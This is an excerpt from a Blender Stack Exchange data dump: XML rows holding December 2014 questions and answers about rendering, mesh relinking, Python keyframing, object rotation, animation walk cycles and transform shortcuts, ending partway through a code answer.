  <row Id="19520" PostTypeId="2" ParentId="19517" CreationDate="2014-12-04T08:13:22.157" Score="3" Body="&lt;p&gt;The result of render is physically OK. If you want to avoid darker parts in the background, then you will have to change your setup of lights. If you do not want to add more global lights, then you can add lights to groups and background material can be influenced only by lights in selected group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WXhk3.png&quot; alt=&quot;material influenced by light group&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are probably other possible options how to fix it; e.g.: you can render background in separate render layer and tweak it in compositor&lt;/p&gt;&#xA;" OwnerUserId="6164" LastActivityDate="2014-12-04T08:13:22.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19521" PostTypeId="2" ParentId="7047" CreationDate="2014-12-04T09:11:50.283" Score="4" Body="&lt;p&gt;Hmm, it might be slower than the elegant-er scripts, but there's a way to do this without scripting at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with the objects selected and the one you want to keep the size of active:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;kbd&gt;U&lt;/kbd&gt; -&gt; Object and Data, to make everything single user&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Scale or whatever you want to apply&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; -&gt; Object Data, to link all objects to the active's data.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Optional: Save file and then File-&gt;Revert to shed any excess mesh data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a second method which avoids making extra duplicate objects, but you need to make every selectable object sharing the data is one that you want to nuke into submission.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the 'master' object you want to duplicate&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;U&lt;/kbd&gt; -&gt; Object and Data, to make it single user&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Scale or whatever you want to apply&lt;/li&gt;&#xA;&lt;li&gt;Select any of the objects that you want to relink to the master&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; -&gt; Object Data, to select everything that's still linked to the prior data.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;-Select the object to copy data from&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; -&gt; Object Data, to link all objects to the active's data.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you have to do this more than about once or twice ever, though, I'd recommend gandalf3's script instead :3.&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5486" LastEditDate="2014-12-04T23:02:52.657" LastActivityDate="2014-12-04T23:02:52.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19522" PostTypeId="1" CreationDate="2014-12-04T09:35:13.070" Score="2" ViewCount="243" Body="&lt;p&gt;Lets say there are operators (buttons .etc) that run or save the text in Text Editor. I need to change the text before such operators execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way involving some callback functions, listeners or handlers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is not, is there a way to remove UI element and replace it in the same spot with custom operator? I only found a way how to append or prepend an operator to such menu or header.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-06T19:40:06.620" Title="How to execute python code before blender operator is executed" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19523" PostTypeId="1" CreationDate="2014-12-04T09:46:32.247" Score="1" ViewCount="458" Body="&lt;p&gt;Let's say I have a set of meshes that I duplicated with Shift-D and then distributed around the scene. And then for some reason I accidentally manipulated some of them in edit mode rather than object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then decide I'd like to go back and relink the object data and woogh, I have to figure out how the heck to match a new object transform to where the old mesh was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that the mesh still has 99%+ of it's bounding box / median point / vertex distribution type stuff in the same shape, if not the same place, is there any means, method, script, or other facility to compare these and correct the receiving object's object-space parameters to apply the other mesh to it but remain in the same physical space?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update ~&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I ended up solving my original problems, which were all translation based, by setting all of the object's origins to geometry / center of mass with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;, and then doing the dirty &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still curious if it's feasable to fix rotations, given that the objects all have basically identical meshes. Say, I have this case, where the objects were shift-D duplicated and then for some reason had their rotation applied. Say, in this example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gNTPP.jpg&quot; alt=&quot;Before relink&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Relinking the objects to one mesh does this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HHXXd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like it should be possible to automatically recreate the rotations during relinking, given that the meshes and centers are identical, but I wouldn't even know where to begin with doing that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Also, if anyone's wondering what they're looking at, that's what happens when I give myself 60 seconds to make 'something vaguely like a spanner')&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="5486" LastEditDate="2014-12-05T00:54:06.707" LastActivityDate="2014-12-05T00:54:06.707" Title="Re-linking mesh data while adjusting object transform to undo minor edit-mode tweaks" Tags="&lt;modeling&gt;&lt;scripting&gt;&lt;mesh&gt;&lt;objects&gt;&lt;transforms&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19524" PostTypeId="1" AcceptedAnswerId="19544" CreationDate="2014-12-04T10:28:08.923" Score="2" ViewCount="1754" Body="&lt;p&gt;I've seen lots of scripts working interactively, meaning if you change a property value the viewport updates right away. But I only saw this for mesh operations, like adding vertices and then calling &lt;code&gt;mesh.update()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a generic method to make your script interactive, like whatever it does? I can't call just my &lt;code&gt;myClass.execute()&lt;/code&gt; method from within &lt;code&gt;draw()&lt;/code&gt; as it gives me context errors. On the other hand I can't implement my whole set of operations in the &lt;code&gt;draw()&lt;/code&gt; method for the same reason. I'm sorry if I failed to understand some basic structure / behavior of Blender python scripts but I'm just a beginner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone post an example script, like adding a cube with a property, let's say number of cubes, which updates the viewport on changing the number of cubes? That would be awesome!&#xA;(EDIT: Really adding / removing cubes, not adding geometry and calling &lt;code&gt;mesh.update()&lt;/code&gt;)&lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="241" LastEditDate="2016-10-05T16:37:02.017" LastActivityDate="2016-10-05T16:37:02.017" Title="Python basics: interactive script" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19525" PostTypeId="2" ParentId="19522" CreationDate="2014-12-04T10:32:06.117" Score="3" Body="&lt;p&gt;I don't think that there are listeners which you can use in that way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what you can do is your idea in the second question. You could replace the button with a custom operator which executes your code first and calls the original operator afterwards.&#xA;You can access the sources if you right-click on that original button and choose edit source. After that go to the scripting view and choose the source file available in the dropdown box&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jLHDF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2478" LastActivityDate="2014-12-04T10:32:06.117" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19526" PostTypeId="1" AcceptedAnswerId="19543" CreationDate="2014-12-04T12:17:05.127" Score="0" ViewCount="2819" Body="&lt;p&gt;Quick info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get my character to walk along a road.&#xA;And turn around and sit down on a bench.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is. Is that my character slips. and do not walk&#xA;I get the legs to move. but when &quot;he&quot; takes a step so slide one leg forward. It's like he standing on ice.&#xA;I can not think of what I might have done wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can look at this to see. &lt;a href=&quot;https://drive.google.com/file/d/0BxaO0HtoK5UgcjJVQ3BXMGd6MDQ/view?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/file/d/0BxaO0HtoK5UgcjJVQ3BXMGd6MDQ/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I post my Blender file here?&#xA;As you can see closer what is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//&#xA;Robin W&lt;/p&gt;&#xA;" OwnerUserId="8037" LastEditorUserId="8037" LastEditDate="2014-12-04T12:40:37.013" LastActivityDate="2015-03-27T20:55:22.057" Title="Character - Walk not Slide" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19527" PostTypeId="2" ParentId="19519" CreationDate="2014-12-04T12:57:55.030" Score="4" Body="&lt;p&gt;There is no software in the world that can do this, simply because a lot of (3D) information is missing in the 2D image. As MarcClintDion pointed out, it can be done out of multiple images from the same chair, but I doubt the result will please you. I'd encourage you to watch some basic Blender modeling tutorials and model the chair, you'll be done in 30 minutes and have a clean model.&lt;/p&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2014-12-04T12:57:55.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19528" PostTypeId="1" AcceptedAnswerId="19530" CreationDate="2014-12-04T13:02:26.023" Score="0" ViewCount="91" Body="&lt;p&gt;I would like to keyframe the bevel_depth property of hundreds of curves. Therefore, I wanted to use the Python interface like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for sel in bpy.context.selected_objects:&#xA;    sel.keyframe_insert(data_path=&quot;bevel_depth&quot;,index=-1,frame=60)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this does not work and results in the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TypeError: bpy_struct.keyframe_insert() property &quot;bevel_depth&quot; not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can manually keyframe the bevel_depth property by hovering the mouse on the property and pressing &quot;i&quot; but this is not feasible for hundreds of curves. What's the correct data_path for the bevel_depth property?&lt;/p&gt;&#xA;" OwnerUserId="8322" LastActivityDate="2014-12-04T13:08:46.413" Title="Keyframing curves' bevel_depth" Tags="&lt;python&gt;&lt;bezier-curves&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19529" PostTypeId="2" ParentId="19503" CreationDate="2014-12-04T13:03:46.410" Score="-1" Body="&lt;p&gt;Select the object then go to Properties (usualy the right sidebar) -&gt; Object (little yellow cube). There's Transform, which are absolute values for the object. If you enter Y: 45° it will be rotated 45° as an absolute value. I don't know of a shortcut for this.&lt;/p&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2014-12-04T13:03:46.410" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19530" PostTypeId="2" ParentId="19528" CreationDate="2014-12-04T13:08:46.413" Score="0" Body="&lt;p&gt;Okay I think I found my mistake. Sorry for bothering you. It seems I have to keyframe the data of the curve:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for sel in bpy.context.selected_objects:&#xA;    sel.data.keyframe_insert(data_path=&quot;bevel_depth&quot;,index=-1,frame=60)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8322" LastActivityDate="2014-12-04T13:08:46.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19531" PostTypeId="2" ParentId="19486" CreationDate="2014-12-04T13:19:20.903" Score="2" Body="&lt;p&gt;You can have the 3 parts as seperated meshes in just one object. It's totaly fine and not a &quot;dirty&quot; way of modelling or anything alike.&#xA;I disagree on parenting maybe two parts to the third, in my eyes that's overkill for such a simple object. If you build your scene later and maybe have 50 more items, each seperated into multiple objects and parented together, things would become complicated for no reason. &lt;/p&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2014-12-04T13:19:20.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19532" PostTypeId="1" AcceptedAnswerId="19546" CreationDate="2014-12-04T13:25:34.410" Score="2" ViewCount="306" Body="&lt;p&gt;I want to &quot;cut&quot; my building model. This means creating edges everywhere where plane (or multiple planes) intersects with faces of my model. This is similar to 'Edge loop and slide' tool.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UvKre.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But 'Edge loop and slide' works only for primitive models unfortunately. My model is more complicated. Does blender have described tool? Or maybe someone knowns good addon for this?&#xA;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2349" LastEditorUserId="3710" LastEditDate="2014-12-04T20:09:46.847" LastActivityDate="2014-12-04T20:09:46.847" Title="Dividing a model by intersecting geometry parts" Tags="&lt;editing&gt;&lt;edges&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19533" PostTypeId="1" AcceptedAnswerId="19541" CreationDate="2014-12-04T13:44:12.273" Score="14" ViewCount="9993" Body="&lt;p&gt;I am trying to rotate an object using python, inline with a vector which gives me the direction I want (based on the difference between the last two coordinates of the curve I generated). I therefore have a vector which I'd like to align this object but not the XYZ angles. The options to specify rotation (XYZ Euler...) all seem to require some sort of angle definition. I've started playing with numpy with I'm not experienced enough to find the answer.&lt;/p&gt;&#xA;&lt;p&gt;Would you be able to advise what would be the best way to align an object to a vector and (if necessary) how I could convert the vector coordinates in XYZ_Euler angles I could apply to the object?&lt;/p&gt;&#xA;&lt;p&gt;for instance, Vector=[1,1,1] and I would like to rotate the object along this vector.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&lt;p&gt;Thanks guys, &lt;code&gt;DirectionVector.to_track_quat('X', 'Z')&lt;/code&gt; did the trick very nicely!&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#define direction&#xA;Vector=(1,1,1)&#xA;DirectionVector = mathutils.Vector(Vector) &#xA;#apply rotation&#xA;bpy.context.object.rotation_mode = 'QUATERNION'&#xA;bpy.context.object.rotation_quaternion = DirectionVector.to_track_quat('Z','Y')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6242" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2018-08-05T11:01:10.773" Title="Align Object to Vector using python" Tags="&lt;python&gt;&lt;modeling&gt;&lt;scripting&gt;&lt;objects&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19534" PostTypeId="1" AcceptedAnswerId="19545" CreationDate="2014-12-04T14:09:32.410" Score="1" ViewCount="227" Body="&lt;p&gt;I'd like to deploy Blender with a custom startup scene and some enabled addons on a network drive, so that every user here can run Blender from there with all the settings and addons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds easy enough, but the problem is that the users can't generate their own startup/settings because the config folder on the server has a higher priority than the user  config (they would change the settings for all users).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't make sense at all, and it is different in all other software I can think of. User settings shall always override system settings. Is there a special reason why it is that way in Blender? And even more important: is there a workaraound?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7923" LastActivityDate="2014-12-04T16:53:59.597" Title="Shared Network install / config priority" Tags="&lt;workflow&gt;&lt;network&gt;&lt;installation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19535" PostTypeId="1" CreationDate="2014-12-04T13:41:39.367" Score="1" ViewCount="79" Body="&lt;p&gt;When I model something in blender to be 3d-printed, I &lt;strong&gt;always&lt;/strong&gt; get wrong dimensions in stl file, even though I've set &lt;code&gt;scene units&lt;/code&gt; to metric, &lt;code&gt;scale&lt;/code&gt; to 1 and in blender viewport, it shows the correct dimmensions.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4t3xL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;But when I convert and export the model to an stl file, dimensions get converted to millimeters, no matter the settings or model dimensions in blender.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PFwaG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For exporting blender model to stl files, I am using a blender addon named '3D Print Toolbox'. At first, i thought I need to change some setting in the addon, but couldn't find anything to play around with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8vYON.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My real problem/question is - Is there something that I am missing or doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps some setting or step that I am overlooking before exporting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: As a workaround, each time, I have to scale up the exported stl file model.&lt;/p&gt;&#xA;" OwnerUserId="8325" OwnerDisplayName="zhirzh" LastEditorUserId="1363" LastEditDate="2014-12-04T15:00:01.207" LastActivityDate="2014-12-04T15:00:01.207" Title="Blender 3D models give incorrect dimensions" Tags="&lt;export&gt;&lt;3d-printing&gt;&lt;dimensions&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-04T17:29:58.593" ContentLicense="CC BY-SA 3.0" />
  <row Id="19536" PostTypeId="1" CreationDate="2014-12-04T15:10:50.220" Score="1" ViewCount="828" Body="&lt;p&gt;I use Blender basically for rendering. and often I need to continue working in Blender (modelling - Graphics, CAD) while Blender is rendering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My assumption is that after blender renders it does not release the memory used, is this true? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I close Blender after every render to release the memory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any comment, clue will be great.&lt;/p&gt;&#xA;" OwnerUserId="8326" LastEditorUserId="241" LastEditDate="2014-12-04T15:54:53.030" LastActivityDate="2015-01-04T01:53:26.897" Title="Does blender release the memory when a render is finished?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19537" PostTypeId="1" CreationDate="2014-12-04T15:12:20.827" Score="1" ViewCount="718" Body="&lt;p&gt;How can I rotate something without having to roll the mouse around the screen? Can I change the rotate to work with simple up/down or left/right movement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I scale something on 2 axes in the ortho view simultaneously without using the &quot;Constraint Axis&quot; checkboxes after the scale operation. Now I've had to do that, or scale it in one axis first, and then the other. I tried using the little circle in the center of the manipulator thing, but it was scaling in 3 axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also.. how can I get the scale to work with simple up/down or left/right movement? Scaling gets weird when the mouse cursor is close to the center of the scaled things, so far I've never needed the negative scaling...&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;edit: Trying to clarify the simpler rotation &amp;amp; scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotation: Activate rotation with the manipulator or the shortcut. Move mouse right for positive rotation. Move mouse left for negative rotation. Is it possible to change rotation to function like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scale: Activate the scaling. Move mouse up for increase in the scale. Move mouse down for decrease in the scale. Is it possible to change scale to function like this?&lt;/p&gt;&#xA;" OwnerUserId="8327" LastEditorUserId="-1" LastEditDate="2014-12-05T00:11:20.200" LastActivityDate="2014-12-05T20:05:44.933" Title="Rotating &amp; Scaling" Tags="&lt;transforms&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19538" PostTypeId="1" AcceptedAnswerId="19539" CreationDate="2014-12-04T15:17:49.240" Score="1" ViewCount="4097" Body="&lt;p&gt;I'm working on &lt;a href=&quot;https://www.youtube.com/watch?v=fFLtCi6yWnA&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; tutorial and when I get to around 45:45 when he starts array modifying the floor with the desks, I got the floors to go up and line up correctly but when I try to array the desks they go down and they're on the X axis instead of the Z. Here's a picture of what's happening. &lt;img src=&quot;https://i.stack.imgur.com/95N2E.png&quot; alt=&quot;enter image description here&quot;&gt; My median point dots are also all over the place and it makes them hard to follow, if there's any info on how to fix of prevent that I would greatly appreciate the help.&lt;/p&gt;&#xA;" OwnerUserId="8328" LastActivityDate="2014-12-04T15:21:52.440" Title="Array Modifier duplicating in wrong direction" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19539" PostTypeId="2" ParentId="19538" CreationDate="2014-12-04T15:21:52.440" Score="2" Body="&lt;p&gt;All you should have to do is apply the rotation. The hotkey to do this is CTRL + A -&gt; Rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternate method (that you probably shouldn't use if you want it duplicated on the x) is to put the value of one in some of the other value boxes (make the current on 0 first).&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2014-12-04T15:21:52.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19540" PostTypeId="2" ParentId="19537" CreationDate="2014-12-04T15:22:50.760" Score="7" Body="&lt;p&gt;You can rotate, scale and translate by using the arrow keys or by typing a number, e.g. &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;&lt;kbd&gt;4&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt; will move the selected object(s) 1.4 BU along the X axis.&lt;br&gt;&#xA;You can also use the minus sign with the numbers. The above combination would move the object(s) to right when in front view, and &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;&lt;kbd&gt;4&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt; would move it/them to the left. &lt;kbd&gt;-&lt;/kbd&gt; acts as a toggle, so pressing it multiple times will alternate between positive and negative direction. It can be toggled at any time during the number input, so&lt;br&gt;&#xA;&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;&lt;kbd&gt;4&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;&lt;br&gt;&#xA;&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;&lt;kbd&gt;4&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;&lt;br&gt;&#xA;and even&lt;br&gt;&#xA;&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;&lt;kbd&gt;-&lt;/kbd&gt;&lt;kbd&gt;4&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;&lt;br&gt;&#xA;are all equivalent&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transforming along two axes is done by excluding the third axis with the shift key, e.g. &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; will exclude the Z axis, thus scaling along the X and Y axes.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2014-12-05T20:05:44.933" LastActivityDate="2014-12-05T20:05:44.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19541" PostTypeId="2" ParentId="19533" CreationDate="2014-12-04T15:34:49.507" Score="17" Body="&lt;p&gt;Try this:&#xA;&lt;code&gt;DirectionVector.to_track_quat('X', 'Z').to_euler()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72b_release/mathutils.html?highlight=track_quat#mathutils.Vector.to_track_quat&quot;&gt;&lt;code&gt;mathutils.Vector.to_track_quat&lt;/code&gt;&lt;/a&gt; in the docs&lt;/p&gt;&#xA;" OwnerUserId="7923" LastEditorUserId="12" LastEditDate="2015-04-14T21:49:26.580" LastActivityDate="2015-04-14T21:49:26.580" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19542" PostTypeId="1" CreationDate="2014-12-04T15:39:01.980" Score="0" ViewCount="357" Body="&lt;p&gt;I'm trying to make an aplication with several cameras. Each camera is used to render to a texture with the BGE. And then, the main camera render some planes with the views of the rest of the cameras. This allow me to modify the planes to do some quad warping for me to proyect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I find is that all the cameras share the same aspect ratio, which is defined in the render settings. Is there any way I could specify the aspect ratio for each camera individually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that the to main cameras get two views of the interface (a 2.5D type UI), and then they are rendered to the planes which can be distorted to fix the keystone and do the quad warp. A final camera, gets the corrected result, and it is played in the BGE. Since blender doesn't allow two windows, I have to use a 1600*1800 camera to expand the main window to two 1600*900 projectos. I hope it does make sense now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4FZOu.png&quot; alt=&quot;setup view 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U6FUn.png&quot; alt=&quot;setup view 2&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="154" LastEditDate="2014-12-09T10:51:42.467" LastActivityDate="2014-12-09T10:51:42.467" Title="How to set different aspect ratio per camera in the BGE?" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19543" PostTypeId="2" ParentId="19526" CreationDate="2014-12-04T15:43:38.030" Score="5" Body="&lt;p&gt;Your walk cycle is too slow. Basically, the guy is going twice to three times the distance he should per step. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix: either speed up the animation, or slow down the movement until it appears that the dude is moving right again. This may take some trial and error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there's pretty much no realistic way that avoids sliding to move a lego figure besides having his entire upper body rock back with each step. it'll look like he's ice skating until you fix the fact that both feet are on the ground at the same time. The foot that comes forward to take a step needs to be aerial-ized. I realize that this is hard for a guy with no knees but there are ways. You might want to check youtube to see how others have done it.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2014-12-04T15:43:38.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19544" PostTypeId="2" ParentId="19524" CreationDate="2014-12-04T15:53:57.447" Score="5" Body="&lt;p&gt;You have basically 2 options: modal operator or scene update handler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modal operator is what an interactive script would use, here is an example with over-commented code. It will create panel in tools under Misc. and the operator can be ended with ESC:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;# for random positioning of cubes&#xA;# so they dont stack one over other&#xA;from random import random&#xA;&#xA;class Panel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;&#xA;    This displays number_of_cubes property in tools panel&#xA;    And can run a modal operator&#xA;    &quot;&quot;&quot;&#xA;    bl_label = &quot;Custom Panel&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;&#xA;    def draw(self, context):&#xA;        # display cube count if modal operator running &#xA;        # else display button to run it&#xA;        layout = 